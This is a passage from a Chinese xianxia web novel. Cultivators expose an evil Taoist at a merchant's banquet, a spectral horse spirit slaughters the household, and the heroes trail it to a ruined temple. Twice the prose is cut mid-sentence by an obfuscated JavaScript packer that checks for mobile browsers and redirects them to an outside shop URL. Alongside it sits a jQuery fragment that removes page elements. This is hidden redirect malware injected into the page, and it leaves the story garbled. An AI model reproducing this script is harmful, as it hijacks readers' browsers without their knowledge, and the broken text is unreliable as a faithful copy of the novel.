被大人无视的小孩会处于无聊状态,容易四处张望,被外界吸引。这个小孩也是一样,耐不住潇泉宝贝的诱惑,亮晶晶地朝这边跑来。 目睹自己的老三跑向对面的陌生人,刘老爷温和的笑容一顿,看清潇泉仨人的行头,目光霎时冷了几分。 不知是不是急着过来,他与其他商友很快聊完话题,直奔老三的方向,也就是潇泉他们这边。 刘老爷把老三拉到身后,拱手礼问:“敢问几位是?” 潇泉回礼,“我们是陈忆的朋友,受老爷邀约至此。这两位分别是我的哥哥妹妹。” 刘老爷摸胡子呵呵笑道:“虽然三位看着不大相像,但长得各有美色,老夫一见,便知不凡。几位来自何处?” 潇泉正想说来自京都,外面一阵嚷嚷,说是有几个人在门口闹事,嚷嚷着要见刘老爷。闹得有点凶,刘老爷怕不好收场,暂时打断和潇泉的对话,大步流星走向门口。 潇泉闻尘相视一眼,跟着去了。 门口确实站着几人,脸色不大好看,长袍束腰,皆带有长剑,气势凌人,一看便知是修行之人,其中有位还是手持拂尘的黑发道士,那更不可能错了。 见到刘家主,道士亮出手中的针盘,“敢问刘老爷,家中宴会可是请了仙人?” 在场众人纷纷唏嘘,不少人伸长脖子看谁像仙人修士,毕竟他们这种小地方太难见到。 刘老爷拧眉,“道长为何这样说?我家孩儿办满月宴,邀的都是四海八方的商贾修士,有修仙人士并不稀奇。”他先反驳,后又抚慰,“看道长脸色铁青,难道有急事要找?” 他说得淡定自在,道士脸色更黑了,“刘老爷,您也是生意人,肯定知道生意被抢了的滋味是何等难受吧?我在柳香苑花重金赎买的人竟被一名臭仙人截胡带走了!这像话吗?!找那个臭娘们说理,她又叫我自己来找罪魁祸首,我只好用探灵针找人,寻到老爷宅下。刘老爷,我相信您一定是个通情达理之人,若今日我不找截胡的人好好算一笔,恐难安眠。” 围观的人群有声音传出:“是啊刘老爷,这半路截胡人家的东西太可恨了!我们一起帮这位道长把人揪出来狠狠打一顿!” 人群骚动,多为道长打抱不平。刘老爷却面色凝重道:“这位道长,我理解你的苦衷,但我不想插手你们的私事,所以我刘某好人做到底,只能帮你们把人找出来,算是给你们一个交代,如何?只是道长带人闯我刘宅,闹我孩儿满月宴,这又如何评论?传遍香城,老夫的面子怕是要挂不住了。” 道长轻笑道:“原来刘老爷是担心这个。放心好了,既然我等刚好赶趟儿,那就一并把给孩子的满月礼送了,祝老爷的孩子平安富贵,这下老爷可还满意?” 他从怀里拿出一个银色手镯,刘老爷示意管家一眼,管家哈腰过去接住。突然,有只手抢先拿下。 管家正要吐一口水,抬头看见一张清冷如霜的脸,吞回骂词,颤巍巍道:“你你、你谁啊?” 潇泉有点意外,赶到闻尘身边,“怎么了?” 管家看着半路跳出来的一男一女,气不打一处来。刘老爷认出他俩是刚才聊天的客人,没有发出质问,客气道:“两位不是在府里待着?怎的也出来看戏了?” “大家都出来看,我们自是避免不了。”潇泉厚着脸皮打圆场,“不好意思,给大家添麻烦了。这是我弟弟,他可能是觉得这个手镯哪里有奇特之处,所以忍不住想看看。” 闻尘沉声对她说:“手镯有污秽,不能要。” 照这情势,是不可能打回圆场了,潇泉还在想怎么处理,对面道士发出恶狠狠的冷笑,“原来是你们!怎么,截胡了人不说,还要多管别人送礼的闲事?真是可恨!”他收起手镯,退步甩出拂尘,在众人面前毫不忌惮发出一击。 闻尘岿然不动,腰间银龙自动出鞘挡开拂尘这一击。它对偷袭的行径忍无可忍,悬在半空,剑锋对准道士,发出一声清脆尖锐的剑鸣。 另一边,听到动静的宫璃和陈忆速速赶来。 见此情形,宫璃想也没想跳到人群中央指斥:“大胆!见到百里仙君不行礼也就罢了,谁给你们狗胆步步逼人的?!还不速速退下!” 这骂声语气有几分像极宫榷,潇泉不免心惊:果然是一个妈生的。 所有人目瞪口呆,半信半疑,唯有刘老爷沉稳淡定,盯着潇泉他们,没有出口冒犯,也没有阻止别人的猜忌压迫。 道士本不信少年的一面之词,但悬在半空的银剑法力太过强盛,且有自己的意识,绝不是寻常灵剑,剑主的身份地位一定是他们寻常修士惹不起的。 若真像少年所说是百里仙君本尊,他完全想不明白百里闻尘放着青泽山门不守,反倒来这儿游荡。 连续发生意外,身旁同行的修士险些腿软跪了下去。道士伸手去扶,厉声喝道:“你犯什么毛病?这就吓傻了?” 这位修士对骂声浑然不觉,站着傻眼道:“那个穿红色衣衫的少年,是、是宫家二少爷,金鹤仙君的弟弟……” 道长瞪直眼睛,压低声问:“你见过?” 修士讷讷点头,“之前……我在朱雀门待的时候,见过……” 道士深吸一口气,眯起犀利的双眼。 场面可以说是一锅乱粥,一个女音大声道:“好狗不挡道!都帮老娘看看这是什么玩意儿!” 这气宇轩昂的气势不用看潇泉也知道是谁,众人和她一样被吸去目光,只见一个红衣女人举着一片叶子艰难挤出人群,坚毅的眼神透着张狂与兴奋。 叶面上面承载着一幅迷人的云雾山峦图,有人一眼看出这是青泽山的宗门图腾,吓得大气不敢粗喘,非议不敢乱传。 寡闻少见者不知其中之贵,被捂嘴才晓得居然是真,不停猜测这名男子与少女的身份,最后确定是百里闻尘本人,都道得到这片青叶简直赚发了! 不知谁来一句:“五十两!这片叶子我要了!” 这都什么时候了,还有人抖机灵。宫璃厉声:“谁说的?给我滚出来!” 潇泉忍不住道:“各位,现在可不是拍价的时候,就算你们拍了这片叶子,恐怕也承受不了其中灵运。到时下场如何,别怪我没提醒你们。” 她看向刘焕,“刘老爷,给您添麻烦了。这确实是我们之间的事,我们自己来解决。” 言归正传,道士开始质疑道:“我想不明白,你们同是仙门中人,为何要放走那只修为百年的狐妖?我们此次前来就是为了替天行道,将其绳之以法!” “狐妖?”老板娘出声,“道长,你先前来我柳香苑可不是这么说的,你说她是寻常人,会把她当宝贝徒弟看待,我才答应与你定下契约。如此出尔反尔,我看你也不是什么好东西,就是一个猪心蒙了油的邪修!” 道士额角青筋暴起,碍于有仙人在场,忍着怒气道:“我看你这个女人才是被狐妖冲昏了头脑!只要精怪涉入凡人生活的地方,必有血事发生!我此举是为了帮你除去邪祟污秽,你倒好,反咬我一口。你知道有多少人死于妖魔手中吗?这般袒护,难道你和她是一伙儿的?” 老板娘闭着眼扯着嗓子骂道:“让你失望了!不见有血事,捡她回来老娘发了不少财!我不仅不会杀她,还要把她供起来做我柳香苑的财神女!” 道士险些没站稳,显然气得不轻。 此言不知真假,现场掀起轩然大波,都在排斥妖魔,无不一齐道:“人妖殊途,我们绝不可能和妖怪生活在一起!要是真有狐妖在柳香苑,我们就把那里砸了!” 局势变得严峻,潇泉丝毫不意外,见老板娘没有收话的意思,站出来道:“此女言论过激,是真是假尚未辨清,轻易妄下定论,随波逐流,良心何在?如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319864|194969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳香苑真的有妖,请问有人见过吗?有人受过伤吗?要是没有,那就闭嘴。” 群众并非全部偏激,虽有怀疑,但大多还是保持观望态度,也颇赞同潇泉言语道理,故而没有大闹。 老板娘知道潇泉在帮自己,瞥了闻尘一眼又看向她,“假如这人真是百里仙君,你应该是他徒弟吧?虽然我对仙门不甚了解,但有的传闻还是知道一些的。” 潇泉微一颔首,“不错。在下扶摇,青泽第十代亲传弟子。” 老板娘哼笑一声,又看闻尘,“看来,还真是我误会仙君了。” 事已至此,没人再敢怀疑潇泉和闻尘的身份,纷纷议论他们和道士之间到底发生了什么,又是怎样的来龙去脉。 道士无心纠结这些,眼看场面失去控制,抓住身边两人飞速离去。这时,一道更快的银影追去,将几人全部拦下,哪儿也去不了。 肩膀忽而一重,道士扭头一看,少女灵动的眉眼略有狡黠。 潇泉:“想去哪儿?捉妖邪修、冒犯仙君,这两个你总得解释一个吧?” 说话的少女身材瘦小,只要出手够快,便能掐住她脖子搏取一线生机……道士面目狰狞,欲要动作,那名仙号百里的男子像是有所觉察,把她拉回身边。 道士心中愤慨,“你说的我听不明白。我只是好奇,难道捉妖也有错?” “这当然没错。”潇泉掷声,“错就错在你心术不正,修心污秽。” 修仙之人不会承认这种邪修,大家普遍认为他们与妖魔鬼怪无有不同,只是皮囊相较更体面好看一点。 道士大笑两声,掐住其中一个同伴的脖子弄断,将其灵力修为尽数吸收。速度之快,众人没反应过来,看清之后,乱成热锅上的蚂蚁,四处逃窜,生怕被活活掐断脖子。另一个与道士同行的幸运儿悄悄从人群溜走,连滚带爬跑远了。 吸完灵力,道士面部爬满黑筋,低声喝笑感受着体内的变化。 所有人全神贯注观察着修为大涨的道士,手中灵器抽出一半,就等最佳时机一剑封喉了。 宫璃离道士最近,本想用金弓射他命脉,突然被闻尘拦在身后,“他身上有东西。” 宫璃惊住,“什么?那我这些灵器是不是对他没用了?” 闻尘:“你们修为不够,退后。” 潇泉把人群疏散开来,之后回到闻尘身边,“是什么东西?你看出来了吗?” 闻尘肃色,“一个人影,不愿露面,无法看清。” 潇泉拧眉,挨紧闻尘,咬破指尖将血滴弹至道士眉心,一道浓郁黑烟赫然从他身上燃起。闻尘掐准时机飞出一缕法力准备捉之,黑烟倏地消失,闪到天边往另一方向去了,追赶不及。 道士身体颤抖不止,口吐白沫翻白眼,潇泉赶紧上前用闻尘先前为她备的符纸贴了上去。道士猛然抖动两下,闭紧双眼昏死过去,等他四肢躯干完全不再颤抖时,符纸刚好自焚完毕。尽管状态堪忧,但总算逼走其体内不明邪物,还能救治。 得亏这是辟邪符,对邪祟妖魔有一定镇压效果,带在身上还是有很大的用处。 潇泉喊住大家:“我们先安顿好人,之后再做计划。那只邪魔看着修为不低,现在追赶不一定能成。”她拽起地上道士的胳膊,“兹事体大,恐怕我们得向城长禀明一声。这么多双眼睛看得一清二楚,如不说明,怕会引起恐慌。” 闻尘没有异议。 “好。”宫璃弯腰准备拖走昏迷的道士,却见小乔往黑烟逃走的方向嗅着,还不断示意潇泉看她动作。 小乔举动出奇的古怪,潇泉观望一会儿,道:“小乔,你能探查此妖方位?” 小乔张了张嘴,指向西北方向。 潇泉脸色微沉。不仅是突发状况冒出来的怪物,还有小乔能感应异物的能力,都让她陷入一时的迷茫,不知是福是祸。 她摸了摸小乔头顶,“我们先安顿伤员,晚点再追。” 好消息是地上没有血迹,只有一地狼藉和打斗痕迹;坏消息是人群当中出现伤亡,必须严肃处理。 事态稳定下来,刘老爷从府邸大门后边绕出,关心道:“各位仙士可是要找城长?我与他关系匪浅,可以帮你们传达消息。不过……你们要如实交代过程,不然明日城长不好向大家交代,毕竟今日这次祸乱,大家有目共睹……” “这是自然。”潇泉应道,“那就有劳刘老爷了。” 刘老爷指向府邸道:“诸位可要进我宅里一住?还有几间厢房可以落脚,衣食住行完全没问题。诶诶对了,你们不是急着安顿这名道士?干脆就在我家住了,老夫这就去叫医师来救。” 他身后扒拉着小孩,潇泉看了一眼道:“多谢刘老爷,但我们不敢答应。您正给孩子办满月宴,我们一身江湖血气,进去不好。” 不仅如此,这座宅邸到处弥漫着异香,她嗅着极不舒服。 不远处,陈忆从藏身处愣愣走出,看潇泉他们的眼神有点陌生。潇泉收入眼底,面带愧疚道:“抱歉,没有跟你表明身份是我们的错,但请你相信我们没有恶意。另外,这趟浑水你最好不要掺和,处理麻烦,你先回家吧。” “我知你们没有恶意。”陈忆没有生气,“既是处理事情,那我便不打扰你们了。若有需要,可以随时去长相思找我,这两天轮我当值。” 潇泉勉强扯出微笑,以至于看着不那么失礼,“好……你明日白天再回去吧,今夜独行不安全。” 陈忆:“行。” 街道角落,老板娘自犄角旮旯里钻出,嗓门还是那么清脆:“刘老爷,我的柳香苑比你这儿方便许多,不如让他们先来我这儿安顿几日。如有要事,我会极力配合。您呢,我看还是传信给城长罢,就说青泽仙君到此一游,巧遇道士又碰上了妖怪。” 她拍了拍身上在角落沾染的灰尘,走向潇泉他们,“周旋半天,原来是一群破修仙的。为何先前不说?这般瞒我,难不成和那个臭道士一样,买妖杀妖?” 潇泉镇定回话:“我们要真对苏姑娘不利,就不会大费周折同你说那话。倒是你……收妖入室,不怕出现意外?” 老板娘抱着胳膊,“我又不知她是妖,就算是,不也照样和我们吃饭喝酒?有什么不同?只要不出人命,我管她是什么妖魔鬼怪,能给我柳香苑挣钱,那我就给她饭吃。”她眉生骄傲,“我伍梅行不改名坐不改姓,立下的规矩从未变过,就算是天王老子跟我要人,我都不给。” 她的气息与深居闺阁的寻常女子不同,年轻时肯定闯荡过江湖,只是不知为何会流落到今日这座小城,在此扎根休养。 潇泉挤眉,“你叫伍梅?可是香城本地人?” “算半个。”伍梅怕她又问,提前说好道,“好了,我就透露这么多。还想听别的,那就加钱。” 潇泉语塞,没有搭腔。 伍梅单手叉腰大步走去,“把人带来吧,想住哪间住哪间,按时交钱就行。” 有钱没地方挥霍的宫璃终于找到发泄口,勤快托起道士,“我有钱,你要多少?我都可以给你,但事先说好不能宰客,否则我一分……一分钱都……都……咦,这臭道士多少天没洗澡了,身上好臭啊……百里大人,你闻到了吗?” 44. 长相思(伍) 柳香苑进来的几位客人是梅姨亲自领进来的,他们各有神态,最引人注目的便是某个鲜艳红衣的少年用两条白色布条堵着鼻孔走在同行的青年身后。 这名俊雅青年背着一个昏迷的道士,衣着脏乱不堪,和青年干净纯蓝的衣服形成明显对比。外人瞧着都有点龇牙咧嘴,那容貌姣好的青年却毫无反应,神情淡定地把人扛到了二楼。 有人道:“梅姨,这是你的江湖侠友?第一次来?之前没见过啊。” 伍梅白眼,“你凑什么热闹?没看见是你自己瞎。喝你的酒去,别烦老娘。” 打发走常客,她又对准备掏腰包的宫璃道:“付钱在柜台。多一分给不了好脸色,少一分饶不了你。” “知道了知道了,真麻烦……”宫璃去柜台付钱,还是之前那几间的价钱。 伍梅选了一间宽敞舒适的客舍,醒的没醒的都在这儿,等宫璃上来关好门,潇泉才不再掩盖来此的真实目的,把事情的来龙去脉说了个清楚。 伍梅:“所以你们只是单纯来看花儿买花儿的?在我店里住下后,碰巧撞见苏卿在弹琵琶,不仅看出她是狐妖,还知道道士赎买的阴谋,这才想方设法把她送走?送去哪儿了?” 潇泉微笑道:“天下之大,我给她指了一条明路,比在外面流浪要好。” 伍梅:“什么明路?” 潇泉卖关子道:“天机不可泄露。” 伍梅扬眉,“莫不是诓我?” “不会。”潇泉向前倾身,“你要是想叫她回来,我可以叫她回来。先前不知你能包容她的妖身,这才擅作主张自作聪明了,不好意思。” 伍梅默然半晌,道:“今日一事,以后肯定会有人来看我这儿柳香苑有没有妖了。我若叫她回来,岂不是把她往火坑里推?只要你没亏待她,那便是好的。” 潇泉:“听你这么说,我倒好奇了,你苑里的姑娘是不是都出身不怎么好,又不知该往何处去,这才得你收留有口饭吃?” 伍梅叹气道:“不全是。” 潇泉:“你哪儿来的钱养这么多姑娘?” 伍梅盯紧她,微微一笑:“想扒我老底?你这儿也太没有诚意了。” 潇泉笑着点头,从锦囊里拿出银票,“我看你好像有点身手,年轻的时候出去历练过吧?” 伍梅退回她的银票,转而道:“都说百里仙君收了一个废柴徒弟,我看你身手似乎比我还厉害,还会用符术……当真是什么都不会?你的实力比那穿大红锦衣的男娃还要差,但一出事,几乎都是你先走在前头。你就不怕自己不敌、死在他人手里?” 潇泉:“原来你是想用我的老底交换啊,早说嘛……我算是看出来了,你是历练过,但不曾涉入仙门对不对?符纸这东西只要懂些道行,不管灵力强弱都可使用,而且我是自创的。我从小喜欢看点妖魔鬼怪的书籍,也学过不少符术,久而久之,我便有了自己使用方便的自创能力,不过只能我自己使用,别人修习很有可能走火入魔。” 她说得确实不错,伍梅对这些不太了解,经过潇泉一番流畅且假中带真的话术,果然没再有什么质疑,反问:“我刚刚看这道士杀人之后功力大增,身上冒出了黑气,是怎么回事?你们说他身上有东西?” 潇泉:“其实他不是假道士,但是个邪修,修炼的邪术不止能用妖丹提升修为,仙丹也可以。这种野心勃勃不走正道之人,你无法想象他以后会做出什么伤害天理的事,能用妖丹,那就有用仙丹的一天。就算我不收,昆仑也会出手。” 关于道士身上的黑烟人影,潇泉不好解释,她没有通灵眼的闻尘方便看清事实。两人似心有灵犀,潇泉沉默的这下,闻尘出声道:“那妖物隐匿在道士体内,被我发现,逃逸飞走,道士杀人增修,是自愿。” 伍梅:“意思是,那妖只是藏在这邪修身上,没做其他手脚?” 潇泉点头,“道士知道自己逃不了想赌一把。可是他杀了人,逃到天涯海都没用。我们暂时押着道士,等天色再晚些,我们马上出动,捉东西。” 伍梅重重叹息,扶桌站起,“那行,辛苦你们了。城长应该会在今日内过来,他每日处理的事情很多,来买花儿和游城的人太多。你们要查就快些,等下我就赶客关门了。” 此事不宜耽搁,必须尽快找到那东西。大家心知肚明。 伍梅走后,室内安静下来。 闻尘为道士把了下脉,查出其心脉受损,恐不能再走修行之道。 宫璃环胸道:“这就是报应呗。修什么路不好,偏去邪修。活该。” 潇泉问闻尘:“还有没有其他气息?比如那个妖怪的。” 闻尘:“不是寻常妖气,还有其他气味。” 潇泉:“什么?” 闻尘:“孤魂野鬼。” 青色彻底游离天外,黑夜降临。 刘宅一片宁谧,一间灯火昏黄的房间有人影踱踱。刘老爷在屋里走来走去,摸了摸胡子,唉声叹气。 坐在榻边的年轻女子哄抱着怀里熟睡的婴孩,眉间微愁,“老爷,您说今儿的晚宴是不是太晦气了……以后我们还是请那些商客来吧。江湖侠士,对我们没有利处,他们只会捉妖。” 刘老爷“啧”了一声:“你就是没见识。知道今天碰见的是谁吗?昆仑乃至整个仙门的翘楚,青泽山的百里仙君和宫家二少爷宫璃少君,岂是那些暴发户能比的?再有钱的人,在昆仑仙君面前根本不值一提……哎呀,我跟你说这个干什么,你又听不懂!” 女子怀里的婴孩被吵醒了,哭个不停。刘老爷被今日之事弄得本就心烦,气不打一处来,“哭哭哭,就知道哭!你母子俩就一个德行!要不是为了这小家伙办满月宴,我刘家的大门至于遭到血灾人祸?早知就不办了!谁知道城长什么时候来?都那么晚了!” 女子知他因此烦躁,边哄啼哭的孩子边道:“可能是后厨做的马肉太腥了,真儿闻到了难受……老爷,要不我叫人去厨房看看还剩多少?要是还剩的话,拿下去分了?” 刘老爷除了卖马还卖粮食,为了庆宴,杀了一匹好马做菜分与贵客。之前庆生过节没怎么做过马肉,都是牛羊鸡鸭,因此下人杀马的手法生疏,见马抬起脑袋挣扎就往身上剁,喷得到处是血,打了好些桶水才把地上的血冲洗干净。对门来贺喜,还问刘老爷是不是今早杀了马,他和夫人都听到了嘶吼。 一匹确实吃不完,分给院里那些人,刘老爷又不舍,现在一想,后悔至极。他觉得小妾说得不错,扬声道:“王河,你去后厨看看马肉还有多少,还剩得有就拿下去分了。” 屋外响起年轻仆役恭维的谄媚声:“好嘞老爷。” 王河的脚步声渐行渐远,刘老爷语气低沉道:“这个畜生,要不是看在他平日还算做事机灵懂事的份上,老夫早就扫他出门了。偷腥摸鱼这种人,要不得。” 婴孩哭得越来越响,小妾无心回话老爷,蹙眉只哄。听烦的刘老爷拿起桌上的瓷瓶就是一摔,“再哭就乱棍打死你娘俩!” 瓷瓶从空中摔下,带起一阵风,吹灭了屋里的烛火,然后就是不远处的凄惨叫声。 刘老爷瞪大眼睛,一下直起身子,到门边躬身偷看,看不出什么名堂,心中越发不安。 小妾抱紧孩子惊恐地靠近窗户,不知怎么就鬼使神差地拉开了一条窗缝看外面发生了何事,只这一眼,便见一个黑黢黢的人影在冷夜中飘荡。她倒吸一口凉气,捂住自己的嘴,不敢发出任何声音。再仔细一看,那个荡来荡去的人可不就是刚刚王河?! 小妾惊叫一声,抱着孩子跟鬼上身似的跑出了房门,穿过堂屋险些摔倒,不顾一切往大门跑去,却是怎么也打不开门。 这时,一只惨白的手搭上她肩膀。 小妾身躯猛一震,瞳孔骤然颤抖着,呼吸几近哮喘,然后陡停,直直倒了下去,被吓死了。 刘老爷跑出来看到这一幕,大喊道:“来人呐!快来人!!!” 咆哮怒喊无用,整座宅子陷入一片漆黑,没有丁点声响。刘焕在幽暗中。看见了一样东西,惊惧地张大了嘴。 紧闭的大门前,状似劲马的黑影若隐若现,能见随风飘荡的鬃毛,粗重的喘息如风过刘焕耳边,只一刹,他浑身起了鸡皮疙瘩,大脑一片空白。 那马影的形状愈发清晰,可不就是白日杀的那匹?! 刘焕闻到了极其刺鼻的血腥,怔怔望着马影朝自己奔来,挪不动半步。 恐惧和震慑侵袭了整座宅子,随后再无声息。 夜色阴沉,街道凄凉,不知谁敲锣打鼓喊了一声:“起火了起火了!大家快来救火啊!” 附近的府宅不多,就那么几个,那些守夜看家的一听,不敢相信地出来一探,看到一座被熊熊烈火包围的宅子以及外面的城长等人,不信也得信了,转身跑屋里去叫人救火。不一会儿,街道上站了几十个人,互相递桶传水灭火。 不少人唏嘘,白天还好好的刘家怎么就着火了呢?! 城长很是奇怪,问谁是刘家对面的邻居。一位披着外衣的中年男人恭敬上前,脸色难看道:“城长,是我王浩……” 城长:“今日刘家办的满月宴,你也在场吧。” 中年男人冷汗道:“在的城长……” 城长:“把今天你所看见的一一报上来。其他人本官稍后审。” 男人把知道的见过的说与城长,城长听完面色凝重,让其他侍卫继续灭火,带着几个随从前往柳香苑。不出几步,有人叫住他,“敢问是香城城长吗?” 来的几人带着佩剑,步履匆匆,急促地喘息着,应该是拼命赶过来的。见多识广慧眼识珠的城长一下认出他们是刚才男人说的几个修行人,立刻上前敬礼,“几位是青泽山的修士?” 潇泉先上前把在刘宅门口发生的事情说出,没有隐瞒道士身上藏有妖物一事。城长自然是信的,道:“你们所说我已知晓,就是这刘家已经遇难……不知是不是那妖物所为。” 宫璃严声道:“就是的城长。我们刚感应到这边有邪气,这才匆匆赶来。只是没想到还是晚来一步……那东西说不清楚是妖还是魔,我们不好判定,但您放心,我们一定会抓住它。” 捉妖除魔这种事只有修行之人能做,寻常人做不到,城长想保城内平安,自然不会插手。不仅如此,还得配合。一经发现不配合,昆仑会派人过来拿人,以干扰修士、扰乱人间太平为由,对其审罚。自始以来都是这个规矩。 好在城长是发自内心地配合,虽不修行,没吃过猪肉也是看过猪跑的。他们态度诚恳不像招摇拐骗之人,且王浩也认定了他们就是仙门中人,没有任何怀疑,恳求他们看看刘家这火是不是有古怪。 闻尘率先走到门口查探大火,拧紧眉头。 看清他表情,潇泉心知不妙,“如何?” 闻尘关闭通灵眼,“火的确因它而起。但它此刻不在这儿。另外,地上有马的魂魄足迹,往西边街道去了。” 火势太大,得让他们先灭火,捉妖一事是潇泉他们该做的。 几人刻不容缓,确定佩剑在身,就要出发。走之前,潇泉对城长道:“城长,您先不要四处乱走。待会儿柳香苑的老板娘马上赶到,她会带上今天挑衅滋事的那个道士,您可以在这儿就审,问他被鬼上身有没有感受到什么。我们先行一步。这几张符纸你们拿好,千万不要弄丢了,碰水也不行,会减弱效果。” 防止那东西杀个回马枪,潇泉给了城长他们几张辟邪符,和闻尘他们往西边去了。 因为这事闹得有点大,香城夜晚的街道比平时少了点人烟,也不是每家每户都点灯。 严格来讲,九州所有城镇与非人之地有着明显界限,超过了界限不是天道就是人为,做了坏事天不收,那么昆仑就会来收。 谁敢惹昆仑那些杀魔如麻的老家伙?再者,人间修士数不胜数,光是无门无派的野修和长年隐居的仙人就占据了一半,不是所有人都拜有师门。 今日之事,便是替天行道。 行到街上某处,潇泉停下来拉住闻尘,“你听,有声音!” 闻尘同时停步,转身面向潇泉,低眼细听。 宫璃往声源的方向靠近了点,噤声半晌,瞪大了眼睛道:“好像是个女人在哭。” 闻尘迈开步伐,宫璃手疾眼快拉住他,“等等……百里大人,你说会不会是那妖怪变的?” 潇泉斟酌道:“应该不会,它一见我们就跑,不大可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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有捉妖的修士在,女子心中的恐惧被压下几分,听到她说的,小声问:“刘家?是卖马的那个有钱人家吗?他们家着火了?也是这妖干的?” 闻尘过去蹲下探了气息,回头和潇泉确认了下眼神,随后施法镇消了尸身的邪气。 潇泉扶起女子,“对,就在刚才。姑娘,这里不安全,我们先送你到安全地方。” 几人从屋里出来,闻尘倏地抽剑往暗处刺去,潇泉赶紧拉住女人孩子后撤,紧紧盯去。 只见漆黑之中浮现一泼水墨画,比人高的壮硕骏马之上,有一个隐隐可见的人影,浑身黑烟滚滚,像是从火中走出来的一样,速度快如闪电奔向众人。一道细长状似武器的东西从天劈下,闻尘微一抬手,银龙登时出鞘刺向墨黑的高大影子。 “叮”的一声,银龙与之触碰了下,直直穿了过去,摸不到实体。 闻尘站立不动,拂袖准备开境,潇泉抢先挡在他面前,一手抓住他手,一手并立两指,贴在唇边默念咒语,双瞳泛起赤红之色,周身骤起阴风反向黑影。 马影闪了闪,背上的人影霍然清晰,一身戎装,威风凛凛,手中的□□斜在后方,一对幽绿的眼光杀气逼人,直冲施咒的潇泉。 双双碰撞之际,黑影迅速消失,仿佛从没来过。 一股刺激的气味钻入潇泉鼻里,她心脏骤停了下,险些从嗓子眼跳出来。闻尘也没好到哪儿去,他转头紧紧盯着潇泉,脚下生风彻底掐灭了她的咒术,握她手的力度稍紧。 宫璃吓得话都说不利索了,“刚刚那是什么气息?为什么我感觉像魔气……是我弄错了吗?” 不是黑影的气息,是潇泉刚刚施展咒术时,被黑影散发的浑浊气息牵醒了体内的魔脉。 这并非是她预料的,这具身躯废柴得要命,想要唤醒魔脉不容易。偏是刚才那下,潇泉被邪祟之气趁虚而入。她傻在原地想了许久,瞳孔一颤,后知后觉一件事情。 在无界幻境闻到的花香和听到的类似师姐的声音,潇泉开始有了魔脉苏醒的前兆,后来她来香城始终找不到花和声音的真相,反倒遇上了一个不知死了多少年还带有杀气的妖灵,被唤醒了魔脉,得不偿失。 杀气同为煞气,是魔脉的滋生物之一,过程说难不难,说易不易。潇泉曾为神魔,乃一介魔主,自是有魔脉的。只要她的记忆不退,还熟于运用,那就是可以被唤醒的。这东西,几乎是刻在记忆和骨子里的肮脏物,极难摆脱。 潇泉明白这回是自己鲁莽了,可做都做了,还有更糟的吗? 宫璃还在忌惮适才感受到的陌生气息,过来扯了扯闻尘衣袖,“百里大人,你们为什么不继续追了?姐姐,你怎么站着不动啊?” 潇泉后背一僵,定在原地深深呼吸,无法答出他的问题。 宫璃觉得甚怪,脸色担忧,刚想说话,闻尘打断了他,“继续追。” 几人跑出屋院往街道追去,宫璃一把拉过妇人孩子往来时的路去,塞给她两张辟邪符,“沿这条街过去找到城长,那有守卫保护你们,这里交给我们就行。” 妇人不敢给他们添麻烦,说完谢谢,带着孩子跑了。 现下的香城像是一座陷入恐惧的暗地,整条街道都没什么人。闻尘顺着通灵眼呈现的足迹追寻,其余人紧跟不放。路上遇到提灯巡逻的侍卫,他们一问才知是城长得知城内有怪后,下令夜间不准人出门,必须锁好门窗在家中。 怪不得一路上都没人,原来城长早有准备,倒是个识大局的。这样不仅能减少百姓受害,还方便他们捉妖。 侍卫知道他们急着找凶手,好声道别,继续巡逻。 香城范围不大,几人又武功在身,很快追至城墙。 宫璃累得喘了几下,“不会吧,跑出去了?” 闻尘:“是,得尽快。” 宫璃气得牙痒痒:“待会儿抓住它,我一定要挫骨扬灰!太折磨人了!” 城门已闭,开是不可能开的。闻尘回头看了宫璃一眼,抓住潇泉的胳膊,带着一起越过了高墙。宫璃会意,背起旁边还没反应的小乔飞檐翻过了城墙。几人皆是轻轻落地,悄无声息。 落地后,潇泉扫视周围漆黑的田野树林,“你还有线索吗?” 闻尘:“东边。” 东边是一望无际的原野,起初还有稀少的流萤和刺耳的蝉鸣,后面什么都没了,了然空空,寂静古怪。 更怪的是,他们走的这条小径是断的,旁边有岔道。 闻尘提醒,“有庙,破的。” 宫璃往岔道那儿看,“它不会进庙里躲了吧?” 闻尘:“踪迹停在附近,没了。” 潇泉:“我们先上去看看,再到处转转。” 45. 长相思(陆) 岔道路口杂草丛生,闻尘拨开草叶,领路前行。两边人高的杂草能割伤人,大家小心翼翼穿过,走到路的尽头,来到一片广阔地。 北是荒草围拥的破庙,南是死水池塘,没有一声虫鸣蛙叫,两方出奇死寂。 潇泉记住方才的教训,告诫自己不能做出头鸟,紧随闻尘走进破庙。这座庙宇真是破无可破,到处散发残败古旧的气息,不知经过多少年轮。 宫璃仰头慨叹:“这庙得有几百年了吧,这么破旧还没倒,砖瓦挺硬啊。” 也就砖瓦坚硬一些,其他地方没一处完整,房梁墙壁也被百年风雨侵蚀得不成样子,内里暴露无遗,感觉撞两下便会坍塌。还好只是感觉,若真如此,破庙早该塌成废墟了。 潇泉觉得这儿的气味有些怪异,问闻尘:“你察觉到什么没有?我好像闻到了熟悉的气息。” 闻尘脸色凝重,“有,找找。” 听到回答,宫璃立时住嘴,不敢妄言,老老实实摸索,不敢乱走,生怕踩到什么不该踩的东西。 忽然,一只手戳他肩膀。 宫璃猛一回头,看到小乔,又气又安心,语气不善:“干什么碰我?” 小乔指向庙门背后,“人、人。” 宫璃一脸惊讶看着她,似乎忘记自己该做的事。小乔以为他听不懂话,准备自己过去探个清楚。 那边未经探索,宫璃不敢放她一人过去,连忙拦道:“诶诶诶你别动,你在这里等着,我过去看看。” 他走到小乔特指的角落,看见白骨零散而堆,惊叹小乔感知力的同时,不忘做正事,蹲下来准备探灵。 一只手打断他。 宫璃偏头,潇泉在侧后方望着骨堆,“还是我来吧。你一个大活人,少碰这些为妙。” 